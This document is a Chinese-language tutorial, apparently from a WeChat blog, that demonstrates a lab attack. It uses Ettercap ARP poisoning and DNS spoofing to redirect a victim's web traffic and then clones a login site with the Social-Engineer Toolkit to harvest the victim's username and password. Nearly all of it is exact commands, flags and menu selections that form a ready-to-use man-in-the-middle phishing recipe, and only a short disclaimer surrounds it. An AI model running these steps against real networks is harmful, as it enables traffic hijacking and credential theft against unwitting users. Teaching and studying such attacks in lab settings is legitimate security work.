提示:本文章內所有內容環境爲自己搭建絕無違法內容,請不要利用其中的技術來做違法的事情。若本文顯示圖片違規,請點擊鏈接https://mp.weixin.qq.com/s/ZnrPjDJ2Wh1pqKEKCVaG-w跳轉至微信公衆號閱讀
滲透測試環境
受害主機IP:192.168.20.236
攻擊主機IP:192.168.20.164
網關:192.168.21.254
若攻擊主機kali是虛擬機,需保證虛擬機的kali是橋接模式
收集信息階段
獲取到本機IP地址
ip address
獲取到網關地址
route -n
獲取內網同網段下正在聯網的所有電腦IP地址
fping -g 192.168.20.0/23
實施攻擊階段
使用Ettercap中間人攻擊工具修改dns域名指向
vim /etc/ettercap/etter.dns
按i進入插入模式
esc+:wq退出並保存
接下來使用apache2開啓一個web服務
首先備份WEB服務器根目錄原html文件
sudo cp /var/www/html/index.html /var/www/html/index_backup.html
然後修改原html文件源碼
sudo vim /var/www/html/index.html
刪除所有內容命令爲:ggdG,其中,gg爲跳轉到文件首行;dG爲刪除光標所在行以及其下所有行的內容;再細講,d爲刪除,G爲跳轉到文件末尾行;
刪除完所有內容後,複製寫好的html源碼插入文件中
(按Shift+insert鍵將複製的源碼粘貼進去)
然後輸入:wq代表寫入並退出
隨後輸入以下命令重啓apache2服務
sudo /etc/init.d/apache2 restart
在瀏覽器輸入攻擊機kali的IP地址(192.168.20.164)就能看到之前寫好的html源碼的效果
輸入以下參數對受害主機192.168.20.236進行DNS劫持
ettercap -TqM ARP:remote -P dns_spoof /192.168.21.254// /192.168.20.236//
-i:指定網卡,一般默認爲 eth0
-T:僅使用文本 GUI
-q:啓動安靜模式(不回顯的意思)
-M:執行中間人攻擊
ARP:remote:使用遠程嗅探
-P:指定插件
第一個IP爲網關地址,第二個IP爲受害者主機IP地址
此時受害者訪問任何的http網站都會顯示被黑
愛奇藝首頁
騰訊首頁
百度首頁
在攻擊者主機kali的終端可以看到攻擊者主機kali將受害者主機請求的所有http網站都通過Ettercap解析到了自己的web服務器(192.168.20.164)
由此我們得到一個思路,既然受害者訪問的網站可以被我們所控制,那麼我們是否可以控制一個仿製網站回顯給受害者,然後受害者輸入賬號密碼後,我們可以達到截取賬號密碼的目的
進一步實踐,用 SET(Social-Engineer Toolkit)+Ettercap 進行釣魚攻擊
參考上文修改dns劫持文件中的域名指向爲受害者主機需要登錄的站點鏈接(這裏對域名進行脫敏處理,若需實踐請自行搭建站點測試,勿用於非法用途)
vim /etc/ettercap/etter.dns
Social-Engineer Toolkit是一個基於python語言開發的社會工程學工具,主要用來進行社工攻擊,包括釣魚網站,無線 AP 攻擊,QRCode 攻擊。
在攻擊機kali終端中輸入setoolkit即可啓動setoolkit,啓動後有可能會要求你同意一個安全條款:
The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting yes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only.
選擇y同意並進入下一步,到主界面
輸入1並回車,開始社會工程學攻擊
然後,選擇菜單中第二個選項,網站攻擊。
選擇第三個選項,竊取憑證。
選擇2,網站克隆
這裏直接按回車鍵,使用默認IP,即是攻擊者主機kali自己的IP(192.168.20.164)
輸入要克隆的站點鏈接
當提示:
[]Cloning the website: http://www.xxx.com/
[]This could take a little bit…
的時候,我們需要等待一會兒,然後提示:
The best way to use this attack is if username and password form Fields are available. Regardless, this captures all POSTs on a website.
[]You may need to copy /var/www/ into /var/www/html depending on where your directory structure is.
Press {return} if you understand what we’re saying here.
的時候,我們再按回車,就可以看到提示網站已經克隆成功,可以運行在攻擊者主機IP下的80端口,這裏提示我之前開啓的apache2的WEB服務佔用了80端口,需要我關閉,這裏我們輸入y確認關閉
然後顯示釣魚網站就緒
這時候,在瀏覽器輸入攻擊機kali的IP地址(192.168.20.164)就能看到就可以看到網站已經完成克隆。
跟上文一樣,輸入以下命令,對受害者主機(192.168.20.236)發起DNS劫持攻擊,使得受害者訪問真實網站的時候被劫持到釣魚網站。
ettercap -TqM ARP:remote -P dns_spoof /192.168.21.254// /192.168.20.236//
當受害者訪問真實的網站的時候,則會被攻擊者主機kali解析到仿製的釣魚網站界面
ping一下受害者訪問的真實主機域名,可以得知真實主機域名已被攻擊者劫持爲自己的IP,同時這裏暴露了攻擊者的IP地址,留下了攻擊痕跡
ping www.xxx.com
受害者在釣魚網站輸入賬號密碼後,賬號密碼作爲請求參數顯示在攻擊者kali的setoolkit終端